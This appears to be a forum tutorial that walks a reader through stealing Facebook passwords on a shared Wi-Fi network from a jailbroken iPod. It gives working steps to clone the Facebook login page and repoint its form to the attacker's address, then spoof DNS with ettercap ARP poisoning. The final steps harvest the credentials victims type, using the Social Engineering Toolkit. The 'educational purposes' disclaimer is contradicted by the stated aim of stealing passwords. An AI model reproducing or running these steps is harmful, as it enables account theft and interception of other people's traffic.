This is for educational purposes only, I am only informing you how to avoid getting your passwords stolen. I am not responsible for anything you do.
I am going to show you how to steal Facebook passwords without any social engineering. This method is easier than most, and is one of the best way to steal SSL encrypted passwords!
You will need:
Ifile (sinfuliphonerepo.com)
Mobile Terminal (default cydia source) also have all the cmds added! (That means to type in "cmds" in search bar in cydia and download everything that pops up)
Ettercap no GTK (ininjas.com/repo)
Social Enigneering Toolkit (ininjas.com/repo)
Once you have all those things, you can begin!
First off go into your settings app and click "wifi"
Then click the blue arrow next to your wifi provider and write down the number next to "ip address"
Note: it should look something like this 192.168.x.x (the x.x's being some random number
open mobile terminal and type in:
su
alpine (defualt password)
Then type in:
cd /
Then type in
Wget
www.facebook.comThis downloads the facebook login page
And wait for it to finish. Once finished exit out of mobile terminal and open ifile. When you first open it up, back out of the folders until you can't back up anymore. Then scroll down to the bottom and look for a file called "index.html"
Note: sometimes it is not called index.html so you might have to look at all the files located in cd / for the right one
Copy index.html and move it into /var/www
Note:you might have to make a "www" folder
Next click on the blue arrow located next to index.html. The click the button "open with" and select text viewer from the list. Now once the file opens click the search button and type in "action" and hit return. It should bring you to a line that says
action="
https://www.facebook.com/login.php?login_attempt=1You are going to edit this line to:
action="
https://192.168.x.x/login.php?login_attempt=1"
Replacing the xx's with the end numbers of the ip address you wrote down.
Next save the file and now locate to: /usr/local/share/ettercap
Once there look for the file "etter.dns" and open it up in text viewer.
Next click the search button and type in "microsoft sucks" and click enter. You should see a couple lines of text saying something similar to this
"*.microsoft.com. A (a whole bunch a numbers)
And then two more lines that have the word microsoft.
(sorry I already changed mine so I don't know exactly what the lines of text say so you'll have to make sense of things"
Delete the two lines of text below the line
*.microsoft.com A (a whole bunch a numbers)
Once those lines of numbers are deleted change the first line to
*.facebook.com A 192.168.x.x
Replacing the xx's with the last two numbers of the up address you wrote down. Your done with the hard part!!!!!!!!!!
Now open up mobile terminal and type in the following
su
alpine
Then type in this exactly how you see it
ettercap -T -q -P dns_spoof -M arp // //
This redirects your victim from Facebook.com to your fake page that we will make In a moment!
In other words, whenever anyone types in Facebook.com into their address bar they go to a fake Facebook.com
Make sure you don't touch the page with the live stream from ettercap! You'll have to change pages of terminal by clicking the little two circles at the bottom of the screen of terminal. Now while that starts go into your second page of mobile terminal and type in this exactly how you see it
sysctl -w net.inet.ip.forwarding=1
This enables ip forwarding
Then after you type that in type in
cd /var/root/pentest/exploits/set
This goes to the social engineering toolkit directory!
Then type in:
./set
This runs set
Once loaded type in this
1
Then type in:
2
Then type in:
3
This loads the credential harvester from set
Then type in:
3
This loads the custom import option
It will ask you for your interface ip address... Type in 192.168.x.x replacing the xx's with the last two numbers you wrote down on the piece of paper
Next it asks for the location of the fake Facebook!
Type in:
/var/www/index.html
Then it asks for the actual website your trying to steal passwords from
Type in:
www.facebook.comThen it should say something like "the best way to use this is by..."
Ignore it and press enter!
Now go on to your computer to test it! In the address bar type in "Facebook.com" and type in your fake user and pass and then go check your iPod to see if you got the user and pass! To do so, you must check the page that was using set! I should say, we got a hit, and the user and pass will be listed. If you can't scroll up to the part where it tells you the user and pass just press ^C to write a report located in /var/root/pentest/exploits/set/reports
I just wanted to say a quick thanks to APetrick for helping me with my noobish questions and A12danrulz for also helping me with noobish questions even though I have been a jerk.
I put a lot of work into this tutorial and I hope it shows!
P.s. what's green, white and red all over?
